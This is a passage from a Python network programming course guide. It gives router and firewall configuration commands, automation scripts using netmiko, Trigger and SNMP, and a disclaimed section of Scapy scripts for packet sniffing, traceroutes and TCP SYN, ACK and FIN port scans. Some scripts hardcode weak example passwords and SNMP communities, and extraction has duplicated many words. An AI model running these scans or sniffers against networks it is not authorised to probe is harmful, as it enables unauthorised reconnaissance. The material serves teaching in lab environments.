Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
141
SSHv2 Configuration: [username mihai2016 password python2016] - if you want to create additional users ! hostname IOS-XR ! line console transport input telnet ssh ! exit ! domain name mihai ! ssh server v2 ! crypto key generate rsa 1024 !
SNMP Configuration: snmp-server community public ro snmp-server community private rw
Checking Configuration: show ip interface brief show ip ssh Page 141 of 185
142
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
show snmp
Saving Configuration: RP/0/0/CPU0:IOS-XR(config)#commit RP/0/0/CPU0:IOS-XR#copy running-config nvram:
Saving Configuration to a TFTP Server: RP/0/0/CPU0:IOS-XR#copy running-config tftp://172.16.1.1/ciscoxr_cfg
Note! Note! Depending on the hardware and software you are using in your network, some commands, command options or command outputs may be slightly different.
Page 142 of 185
143
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.7. 3.7.2. 2. Readin Reading g Com mand Output Outp ut - Cisco Cisc o IOS XR XR
#Importing the necessary module(s) from netmiko import ConnectHandler ConnectHandler import time #User menu print '\nPlease choose an action:\n\n1 - Read command output from a single device\n2 - Read command output from multiple devices\n' user_choice = raw_input('\nEnter your choice: ') #Defining actions based on user input if user_choice == '1': #Asking the user for input ip = raw_input('\nEnter the device IP address: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ') command = raw_input('\nEnter command to send: ') print '\n' session = ConnectHandler(device_type = 'cisco_xr', ip = ip, username = username, password = password) time.sleep(1) session_output = session.send_command(command) time.sleep(1) print '\nNow what?\n\n1 - Print the output to the screen\n2 - Save the output to a file\n' user_choice = raw_input('\nEnter your choice: ') if user_choice == '1': print session_output elif user_choice == '2': filename = raw_input('\nPlease name your file. Example: /home/ubuntu/xr1.txt: /home/ubuntu/xr1.txt: ') #Printing the output to a text file. with open(filename, open(filename, 'a') as f: f.write(session_output) print "\nDone! Check out %s to see the results.\n" % filename Page 143 of 185
144
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
elif user_choice == '2': #Asking the user for input ip = raw_input('\nEnter the device IP addresses separated by comma: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ') command = raw_input('\nEnter command to send: ') #Storing the device IP addresses as a list dev_list = ip.split(',') #print dev_list print '\nNow what?\n\n1 - Print the output to the screen\n2 - Save the output to a file\n' user_choice = raw_input('\nEnter your choice: ') if user_choice == '1': for ip in dev_list: #Running the code for each device specified by the user session = ConnectHandler(device_type = 'cisco_xr', ip = ip, username = username, password = password) time.sleep(1) session_output = session.send_command(command) time.sleep(1) #Printing the output to the screen print '\n' + session_output + '\n' elif user_choice == '2': filename = raw_input('\nPlease name your file. Example: /home/ubuntu/xr1.txt: /home/ubuntu/xr1.txt: ') for ip in dev_list: #Running the code for each device specified by the user session = ConnectHandler(device_type = 'cisco_xr', ip = ip, username = username, password = password) time.sleep(1) session_output = session.send_command(command) time.sleep(1) #Printing the output to a text file. with open(filename, 'a') as f: f.write('\n' + session_output + '\n') Page 144 of 185
145
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
print "\nDone! Check out %s to see the results.\n" % filename #For using this application on other networking vendors, just replace device_type = 'cisco_xr' with any of the following: #device_type #device_type = 'cisco_ios' #device_type #device_type = 'juniper' #device_type = 'arista_eos' #End of Program
3.7. 3.7.3. 3. Config Conf ig urin ur ing g Devices Devic es - Cis Cis co IOS XR
#Importing the necessary module(s) from netmiko import ConnectHandler ConnectHandler import sys #User menu print '\nMake sure you have an username and password and SSHv2 enabled on the device(s)' print '\nPlease choose an action:\n\n1 - Send config commands to a single IOS XR device\n2 - Send config commands to multiple IOS XR devices\n3 Send config commands from a file to a single IOS XR device\n4 - Send config commands from a file to multiple IOS XR devices\n' user_choice = raw_input('\nEnter your choice: ') #Defining actions based on user input if user_choice == '1': #Asking the user for input ip = raw_input('\nEnter the device IP address: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ') commands = raw_input('\nEnter commands to send separated by comma: ') print '\n' session = ConnectHandler(device_type = 'cisco_xr', ip = ip, username = username, password = password) session_output = session.send_config_set(commands.split(',')) Page 145 of 185
146
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
print "\nDone! Check out %s to see the results.\n" % ip elif user_choice == '2': #Asking the user for input ip = raw_input('\nEnter the device IP addresses separated by comma: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ') commands = raw_input('\nEnter commands to send separated by comma: ') print '\n' for ip in ip.split(','): session = ConnectHandler(device_type = 'cisco_xr', ip = ip, username = username, password = password) session_output = session.send_config_set(commands.split(',')) print "\nDone! Check out %s to see the results.\n" % ip elif user_choice == '3': #Asking the user for input ip = raw_input('\nEnter the device IP address: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ') commands_file = raw_input('\nEnter the filename. Example: /home/ubuntu/cmd.txt: /home/ubuntu/cmd.txt: ') print '\n' session = ConnectHandler(device_type = 'cisco_xr', ip = ip, username = username, password = password) session_output = session.send_config_from_file(commands_file) print "\nDone! Check out %s to see the results.\n" % ip elif user_choice == '4': #Asking the user for input ip = raw_input('\nEnter the device IP addresses separated by comma: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ')
Page 146 of 185
147
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
commands_file = raw_input('\nEnter the filename. Example: /home/ubuntu/cmd.txt: /home/ubuntu/cmd.txt: ') print '\n' for ip in ip.split(','): session = ConnectHandler(device_type = 'cisco_xr', ip = ip, username = username, password = password) session_output = session.send_config_from_file(commands_file) print "\nDone! Check out %s to see the results.\n" % ip else: print "\nInvalid input. Exiting...\n" sys.exit() #For using this application application on other networking vendors, just replace device_type = 'cisco_xr' with any of the following: #device_type #device_type = 'cisco_ios' #device_type #device_type = 'juniper' #device_type = 'arista_eos' #End of Program
Page 147 of 185
148
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.8.1. Configuring IP, Remote Access & SNMP – Juniper ScreenOS (full code, reference: Section 14. Bonus #3. Juniper Network Programming (ScreenOS))
To allow remote access to your Netscreen device, you must mus t enter the configuration below.
Note! I Note! I used this configuration on a Netscreen 5GT firewall, Version 5.4.0.1.
So, to configure an IP address, SSHv2 and SNMP use this configuration:
IP Configu Configu ration: set interface trust manage-ip 172.16.1.7
SSHv2 SSHv2 Configuration : set ssh version v2 set ssh enable set admin name mihai set admin password python
SNMP Configuration: set snmp auth-trap enable
Checking Configuration: get interface
Page 148 of 185
149
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
get ssh get snmp
Saving Configuration: save
Saving Configuration to a TFTP Server: save config to tftp 172.16.1.1 netscreen_cfg
Note! Note! Depending on the hardware and software you are using in your network, some commands, command options or command outputs may be slightly different.
3.8. 3.8.2. 2. Readin Reading g Comm and Output Outp ut - Juni Ju niper per Scree Scr eenOS nOS
#Importing the necessary module. from trigger.cmds import Commando #Asking the user for input. devices = raw_input('\nEnter devices separated by comma: ') commands = raw_input('\nEnter commands separated by comma: ') #Splitting the devices/commands entered by the user. devices_list = devices.split(',') commands_list = commands.split(',') #Running all given commands on all given devices. cmd = Commando(devices = devices_list, commands = commands_list) #Executing all the work in real time. cmd.run() #Capturing the results as a dictionary of dictionaries. dictionaries. #Uncomment 'print result', then save and run the script... #...to see how Commando returns the results initially. output = cmd.results #print output Page 149 of 185
150
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Using a while loop to allow the user to return and choose another cXdY combination. while True: #Asking the user about the output he wants to obtain. print '\nNOTE! The format is always cXdY, where X is the command number and Y is the device number in the lists you enter.\nIf X = a this means that command Y will be executed on ALL devices.\nIf Y = a this means that all commands will be executed on device X.\nIf both X = a and Y = a then all the commands will be executed on all devices.' user_option_1 = raw_input('\nNow, what do you want to see? Example: To get the output of command 2 on device 1 just type c2d1: ') #Identifying the desired command(s) and device(s), based on the user input above. #Also addressing the cases where the user wants to run a command on all devices... #...in the list OR run all the commands in the list on a single device. #Now if the user types 'cad1' for example. if user_option_1[1] == 'a' and user_option_1[3] != 'a': user_option_device = int(user_option_1[3]) all_outputs_list = [] for command in commands_list: cmd_output = output[devices_list[user_option_device 1]][command] #Adding hostname before the result all_outputs_list.append('Device: ' + devices_list[user_option_device - 1] + ' - Command #' + str(commands_list.index(command) + 1) + ':\n\n' + cmd_output) final_result = '\r\n'.join(all_outputs_list) #Now if the user types 'c1da' for example. elif user_option_1[1] != 'a' and user_option_1[3] == 'a': user_option_command = int(user_option_1[1]) all_outputs_list = [] for device in devices_list: devices_list: cmd_output = output[device][commands_list[user_option_command - 1]] #Adding hostname before the result all_outputs_list.append('Device: ' + device + '\n\n' + cmd_output) final_result = '\r\n'.join(all_outputs_list) #Now if the user types 'cada' for example, meaning execute all commands on all devices. elif user_option_1[1] == 'a' and user_option_1[3] == 'a': all_outputs_list = [] for device in devices_list: devices_list: for command in commands_list:
Page 150 of 185
151
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
all_outputs_list.append('Device: ' + device + ' Command #' + str(commands_list.index(command) + 1) + ':\n\n' + cmd.results[device][command]) final_result = '\r\n'.join(all_outputs_list) #Finally, if the user types 'c2d1' for example. else: user_option_device = int(user_option_1[3]) user_option_command = int(user_option_1[1]) #Adding hostname before the result final_result = 'Device: ' + devices_list[user_option_device 1] + '\n\n' + output[devices_list[user_option_device 1]][commands_list[user_option_command - 1]] #Print to screen or save to file? user_option_2 = raw_input('\nOk, all done! Press "p" to print the result to the screen. Press "s" to save it to a file. (p/s) ') #Taking action based on user input. if user_option_2 == 'p': #Printing the output to the screen. print '\n' print final_result back = raw_input('\nGo back and choose another cXdY combination? combination? (y/n) ') if back == 'y': continue else: break elif user_option_2 == 's': #Asking the user for the file name. filename = raw_input('\nPlease name your file. Example: /home/ubuntu/c2d1.txt: ') #Printing the output to a text file. with open(filenam open(filename, e, 'w') as f: f.write(final_result) print "\nDone! Check out %s to see the results.\n" % filename back = raw_input('\nGo back and choose another cXdY combination? combination? (y/n) ') if back == 'y': continue else: break #End Of Program
Page 151 of 185
152
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.8. 3.8.3. 3. Configur Confi guring ing Devic Devic es - Ju niper nip er ScreenOS ScreenOS
#Importing the necessary module. from trigger.contrib.docom trigger.contrib.docommand mand import CommandRunner #Asking the user for input. print '\nNOTE! Make sure all files have "configure terminal" or similar at line 1.' print '\nNOTE! Make sure all devices have remote access enabled and user/pass set.' #IP addresses are verified by Trigger. #If an address is not registered in NetDevices you'll get: 'Device not found in NetDevices: 172.16.1.103'. #If an address is not reachable you'll get: '172.16.1.101 - Error: An error occurred while connecting'. #If a file is not found in the filesystem you'll get an IOError and we want to catch that exception. try: devices = raw_input('\nEnter devices separated by comma: ') cmd_files = raw_input('\nEnter files separated by comma. Example: /home/ubuntu/cmd1.txt: ') #Splitting the devices/commands entered by the user. devices_list = devices.split(',') cmd_files_list = cmd_files.split(',') #Running all commands from all the given files on all given devices. cmd = CommandRunner(devices = devices_list, files = cmd_files_list) #Executing all the work in real time. cmd.run() print '\nCommands executed successfully on all devices.\n' #Raise exception in case one file does not exist. IP addresses are already verified by Trigger. except IOError, reason: print '\nError! Reason: ' + str(reason) + '.\n' print 'Please check the file(s) and paths. Redirecting back to prompt...\n' #End Of Program
Page 152 of 185
153
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.9. 3.9. Working Worki ng With Pyt hon And SNMP SNMP (full code, reference: Section 20. Bonus #9. Working With Python And SNMP)
#Importing the necessary module from easysnmp import Session #Asking the user for input ip = raw_input('\nEnter raw_input('\nEnter the device IP address: ') community = raw_input('\nEnter the SNMP community: ') oid = raw_input('\nEnter the OID or MIB name to work on: ') #Opening the SNMP session to the device session = Session(hostname = ip, community = community, version = 2) while True: #User input print '\nChoose the SNMP operation you want to perform on %s:\n\n1 SNMP GET\n2 - SNMP SET\n3 - SNMP WALK\ne - Exit program' % oid user_choice = raw_input('\nEnter your choice: ') if user_choice == '1': #Performing SNMP GET snmp_get = session.get(oid) #Getting the value returned by the device and coverting it to ASCII result = snmp_get.value.encode('ascii') #Printing the value print '\nThe result of SNMP GET on %s is:' % oid print '\n' + result + '\n' continue elif user_choice == '2': #Asking the user what value should be set for oid value = raw_input('\nEnter the value for the object: ') #Performing SNMP SET snmp_set = session.set(oid, session.set(oid, value) print '\nDone. Please check device %s.\n' % ip continue elif user_choice == '3': #Performing SNMP WALK Page 153 of 185
154
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
snmp_walk = session.walk(oid) #Printing the result print '\nThe result of SNMP WALK on %s is:' % oid for obj in snmp_walk: print '\n' + obj.value.encode('ascii') continue elif user_choice == 'e': print '\nExiting program...\n' break else: print '\nInvalid input. Exiting...\n' break #End Of Program
3.10 3.10.. Parsin Parsing g Confi guration gur ation Files (full code, reference: reference: Section 21. Bonus #10. #10. Parsing Parsing Configuration Files)
#Importing the necessary modules. from ciscoconfparse import CiscoConfParse #Defining the list of configuration files to analyze. cfg_files = ['cisco_cfg', 'arista_cfg', 'hp_cfg'] #Iterating over the files and capturing the interfaces and their ip addresses. for cfg_file in cfg_files: parse = CiscoConfParse("/tftpboot/" + cfg_file) obj = parse.find_objects_w_parents(r'interface ', r'ip address') print '\n\n' + cfg_file + '\n' for interface in obj: print interface.geneology_text interface.geneology_text[0] [0] + ': ' + interface.geneology_text[1] #End Of Program
Page 154 of 185
155
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.11. Configuration Change Management (full code, reference: Section 22. Bonus #11. Configuration Change Management)
#Importing the necessary modules import difflib import datetime import smtplib from email.MIMEMultipart import MIMEMultipart from email.MIMEText import MIMEText from trigger.netdevices trigger.netdevices import NetDevices from netmiko import ConnectHandler ConnectHandler
#Defining the function for extracting the running config and building the diff_file, report and master_report files. def diff_function(device_type, vendor, username, password, command): #Using Netmiko to connect to the device and extract the running configuration session = ConnectHandler(device_type = device_type, ip = each_device, username = username, password = password, global_delay_factor = 3) session_output = session.send_command(command) cmd_output = session_output #Defining the file from yesterday, for comparison. device_cfg_old = 'cfgfiles/' + vendor + '/' + vendor + '_' + each_device + '_' + (datetime.date.today() datetime.timedelta(days=1)).isoformat() #Writing the command output to a file for today. with open('cfgfiles/' + vendor + '/' + vendor + '_' + each_device + '_' + datetime.date.today().isoformat(), 'w') as device_cfg_new: if vendor == 'arista': device_cfg_new.write(cmd_output + '\n') else: device_cfg_new.write(cmd_output) #Defining the differences file as diff_file + the current date and time. diff_file_date = 'cfgfiles/' + vendor + '/diff_file_' + each_device + '_' + datetime.date.today().isoformat() #The same for the final report file. report_file_date = 'cfgfiles/' + vendor + '/report_' + each_device + '_' + datetime.date.today().isoformat() #Opening the old config file, the new config file for reading and a new file to write the differences. Page 155 of 185
156
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
with open(device_cfg_old, 'r') as old_file, open('cfgfiles/' + vendor + '/' + vendor + '_' + each_device + '_' + datetime.date.today().isoformat(), 'r') as new_file, open(diff_file_date, 'w') as diff_file: #Using the ndiff() method to read the differences. diff = difflib.ndiff(old_file.readlines(), new_file.readlines()) #Writing the differences to the new file. diff_file.write(''.join(list(diff))) #Opening the new file, reading each line and creating a list where each element is a line in the file. with open(str(diff_file_date), 'r') as diff_file: #Creating the list of lines. diff_list = diff_file.readlines() #print diff_list #Interating #Interating over the list and extracting the differences by type. Writing all the differences to the report file. #Using try/except to catch and ignore any IndexError exceptions that might occur. try: with open(str(report_file_date), 'a') as report_file: for index, line in enumerate(diff_list): if line.startswith('- ') and diff_list[index + 1].startswith(('?', '+')) == False: report_file.write('\nWas in old version, not there anymore: ' + '\n\n' + line + '\n-------\n\n') '\n-------\n\n') elif line.startswith('+ ') and diff_list[index + 1].startswith('?') 1].startswith('?') == False: report_file.write('\nWas not in old version, is there now: ' + '\n\n' + '...\n' + diff_list[index - 2] + diff_list[index - 1] + line + '...\n' + '\n-------\n') elif line.startswith('- ') and diff_list[index + 1].startswith('?') and diff_list[index + 2].startswith('+ ') and diff_list[index + 3].startswith('?'): report_file.write('\nChange detected here: \n\n' + line + diff_list[index + 1] + diff_list[index + 2] + diff_list[index + 3] + '\n-------\n') elif line.startswith('- ') and diff_list[index + 1].startswith('+') and diff_list[index + 2].startswith('? '): report_file.write('\nChange detected here: \n\n' + line + diff_list[index + 1] + diff_list[index + 2] + '\n------\n') else: pass except IndexError: pass #Reading the report file and writing to the master file. with open(str(report_file_date), 'r') as report_file, open('cfgfiles/master_report_' + datetime.date.today().isoformat() + '.txt', 'a') as master_report: Page 156 of 185
157
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
if len(report_file.readlines()) < 1: #Adding device as first line in report. master_report.write('\n\n*** Device: ' + each_device + ' ***\n') master_report.write('\n' + 'No Configuration Changes Recorded On ' + datetime.datetime.now().isoformat() + '\n\n\n') else: #Appending the content to the master report file. report_file.seek(0) master_report.write('\n\ master_report.write('\n\n*** n*** Device: ' + each_device + ' ***\n\n') master_report.write(report_file.read())
#Defining the list of devices to monitor. These are my Cisco 2691 / Juniper SRX100H / Arista vEOS devices. Replace with your own. devices = ['172.16.1.3', '172.16.1.4']
#Extracting the running config to a file, depending on the device vendor (Cisco, Juniper or Arista). for each_device in devices: lab = NetDevices() device = lab.find(each_device) lab.find(each_device) #Using Trigger to check for the device vendor. if str(device.vendor) == 'cisco': diff_function('cisco_ios', 'cisco', 'mihai', 'python', 'show running') #Using Trigger to check for the device vendor. elif str(device.vendor) == 'juniper': diff_function('juniper', 'juniper', 'mihai1', 'python1', 'show configuration') #Using Trigger to check for the device vendor. elif str(device.vendor) == 'arista': diff_function('arista_eos', 'arista', 'mihai', 'python', 'show running') else: print '\nThis device type is not supported, sorry!\n' #Sending the content of the master report file (/cfgfiles/master_report.txt) via email to the network admin. #Preparing the email. fromaddr = '
[email protected]' toaddr = '
[email protected]' msg = MIMEMultipart() msg['From'] = fromaddr msg['To'] = toaddr msg['Subject'] msg['Subject'] = 'Daily Configuration Change Report' Page 157 of 185
158
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Checking whether any changes were recorded and building the email body. with open('cfgfiles/master_report_' + datetime.date.today().isoformat() + '.txt', 'r') as master_report: master_report.seek(0) body = '\n' + master_report.read() + '\n****************\n\nReport Generated: ' + datetime.datetime.now().isoformat() + '\n\nEnd Of Report\n' msg.attach(MIMEText(body, 'plain')) #Sending the email. server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.ehlo() server.login('mihai.python', 'python123') text = msg.as_string() msg.as_string() server.sendmail(fromad server.sendmail(fromaddr, dr, toaddr, text)
#End Of Program
Page 158 of 185
159
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
4. Python Network Programming - Part 3: Scapy & Security Tools
Note! Assuming Note! Assuming you have Python and Scapy already installed on your Linux system, you can easily perform the following attacks and operations on a specified target, using the code provided below.
Disclaimer This document contains materials that can be potentially damaging or dangerous. The information inside this document is provided for educational purposes only and it is not intended to be put into practice unless you have authorized access to the systems you are trying sniff, scan, ping or perform any other action presented in this course on. Any actions and/or activities related to the material contained within this document document is solely your responsibility. All the activities inside this document should be performed only on authorized isolated, test/lab environments. Do not use the information and scripts inside this document in a real, production network! The misuse of the information in this document can result in criminal charges brought against the persons in question. The author will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this document to break the law.
Page 159 of 185
160
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
4.1. 4.1. Traffi Traffi c Sniffing Sniff ing w ith Scapy
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Setting network interface in promiscuous mode #Wikipedia: In computer networking, promiscuous mode or "promisc mode"[1] is a mode for a wired network interface controller (NIC) or wireless network interface controller (WNIC)... #...that causes the controller to pass all traffic it receives to the central processing unit (CPU) rather than passing only the frames that the controller is intended to receive. #This mode is normally used for packet sniffing that takes place on a router or on a computer connected to a hub. #Also, when using our setup (VirtualBox-to-GNS3), you should go to the Settings section for the virtual machine you are using... #...select the adapter that connects to the GNS3 network and set Promiscuous Mode: Allow All subprocess.call(["ifconfig", "enp0s3", "promisc"], stdout = None, stderr = None, shell = False) #Performing the sniffing function sniff(filter = "icmp and host 172.16.1.2", iface = "enp0s3", prn = lambda x: x.summary(), count = 30, timeout = 20)
#To see the list of optional arguments for the sniff() function: ''' >>> print sniff.__doc__ Sniff packets
Page 160 of 185
161
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2ListenSocket args) -> list of packets count: number of packets to capture. 0 means infinity store: wether to store sniffed packets or discard them prn: function to apply to each packet. If something is returned, it is displayed. Ex: ex: prn = lambda x: x.summary() lfilter: python function applied to each packet to determine if further action may be done ex: lfilter = lambda x: x.haslayer(Padding) offline: pcap file to read packets from, instead of sniffing them timeout: stop sniffing after a given time (default: None) L2socket: use the provided L2socket opened_socket: provide an object ready to use .recv() on stop_filter: python function applied to each packet to determine if we have to stop the capture after this packet ex: stop_filter = lambda x: x.haslayer(TCP) '''
4.2. 4.2. Basic Basi c Tracerout Tracero ute e
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Defining the destination name/IP target = 'www.google.com' #Performing the traceroute ans, unans = traceroute([target], minttl = 1, maxttl = 2, dport = [22, 23, 80], retry = 3, timeout = 2) Page 161 of 185
162
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#The results #ans.show()
4.3. 4.3. TCP SYN Tr Tr acerout acero ute e
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Defining the destination name/IP target = '4.2.2.1' #Performing the traceroute ans,unans = sr(IP(dst = target, ttl = (1, 3)) / TCP(dport = 53, flags = "S"), timeout = 5) #The results ans.summary(lambda(s, r) : r.sprintf("%IP.src% --> ICMP:%ICMP.type% --> TCP:%TCP.flags%"))
Page 162 of 185
163
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
4.4. UDP Traceroute
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Defining the destination name/IP target = '8.8.8.8' #Performing the traceroute ans,unans = sr(IP(dst = target, ttl = (1, 10))/ UDP() / DNS(qd = DNSQR(qname = "google.com")), timeout = 5) #The results #ans.summary() ans.summary(lambda(s, r) : r.sprintf("%IP.src%"))
4.5. DNS Traceroute
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) Page 163 of 185
164
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Defining the destination name/IP target = '8.8.8.8' #Performing the traceroute ans,unans = traceroute(target, traceroute(target, maxttl = 10, timeout = 5, l4 = UDP(sport = RandShort()) RandShort()) / DNS(qd = DNSQR(qname DNSQR(qname = "www.google.com"))) "www.google.com")))
4.6. TCP TCP SYN Scan
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Defining the destination name/IP #target = '172.16.1.2' '172.16.1.2' target = '172.16.1.3' #Performing the scan - multiple ports ans, unans = sr(IP(dst = target) / TCP(sport = RandShort(), dport = [111, 135, 22], flags = "S"), timeout = 5) #The results, based on open/closed ports Page 164 of 185
165
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
for sent, received in ans: if received.haslayer(TCP) and str(received[TCP].flags) == "18": print str(sent[TCP].dport) + " is OPEN!" elif received.haslayer(TCP) and str(received[TCP].flags) == "20": print str(sent[TCP].dport) + " is closed!" elif received.haslayer(ICMP) and str(received[ICMP].type) == "3": print str(sent[TCP].dport) + " is filtered!" #Handling unanswered packets for sent in unans: print str(sent[TCP].dport) + " is filtered!" ''' An attacker uses a SYN scan to determine the status of ports on the remote target. RFC 793 defines the required behavior of any TCP/IP device in that an incoming connection request begins with a SYN packet, which in turn must be followed by a SYN/ACK packet from the receiving service. When a SYN is sent to an open port and unfiltered port, a SYN/ACK will be generated. When a SYN packet is sent to a closed port a RST is generated, indicating the port is closed. When SYN scanning to a particular port generates no response, or when the request triggers ICMP Type 3 unreachable errors, the port is filtered. Source: https://capec.mitre.org/data/definitions/287.html '''
4.7. 4.7. TCP ACK Scan Sc an
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import *
Page 165 of 185
166
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Defining the destination name/IP #target = '172.16.1.2' '172.16.1.2' target = '172.16.1.3' #Performing the scan ans, unans = sr(IP(dst = target)/TCP(dport = [111, 135, 22], flags = "A"), timeout = 5) #The results, based on filtered/unfiltered ports for sent, received in ans: if received.haslayer(TCP) and str(received[TCP].flags) == "4": print str(sent[TCP].dport) + " is UNFILTERED!" elif received.haslayer(ICMP) and str(received[ICMP].type) == "3": print str(sent[TCP].dport) + " is filtered!" #Handling unanswered packets for sent in unans: print str(sent[TCP].dport) + " is filtered!" ''' An attacker uses TCP ACK segments to gather information about firewall or ACL configuration. The purpose of this type of scan is to discover information about filter configurations rather than port state. When a TCP ACK segment is sent to a closed port, or sent out-of-sync to a listening port, the RFC 793 expected behavior is for the device to respond with a RST. Getting RSTs back in response to a ACK scan gives the attacker useful information that can be used to infer the type of firewall present. Stateful firewalls will discard out-of-sync ACK packets, leading to no response. When this occurs the port is marked as filtered. When RSTs are received in response, the ports are marked as unfiltered, as the ACK packets solicited the expected behavior from a port. Source: https://capec.mitre.org/data/definitions/305.html '''
Page 166 of 185
167
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
4.8. TCP TCP FIN Scan
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Defining the destination name/IP target = '172.16.1.2' #target = '172.16.1.3' '172.16.1.3' #Performing the scan - multiple ports ans, unans = sr(IP(dst = target) / TCP(sport = RandShort(), dport = [111, 135, 22], flags = "F"), timeout = 5) #The results, based on open/closed ports for sent, received in ans: if received.haslayer(TCP) and str(received[TCP].flags) == "20": print str(sent[TCP].dport) + " is closed!" elif received.haslayer(ICMP) and str(received[ICMP].type) == "3": print str(sent[TCP].dport) + " is filtered!" #Handling unanswered packets for sent in unans: print str(sent[TCP].dport) + " is open/filtered!" ''' An attacker uses a TCP FIN scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with the FIN bit set in the packet header. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in 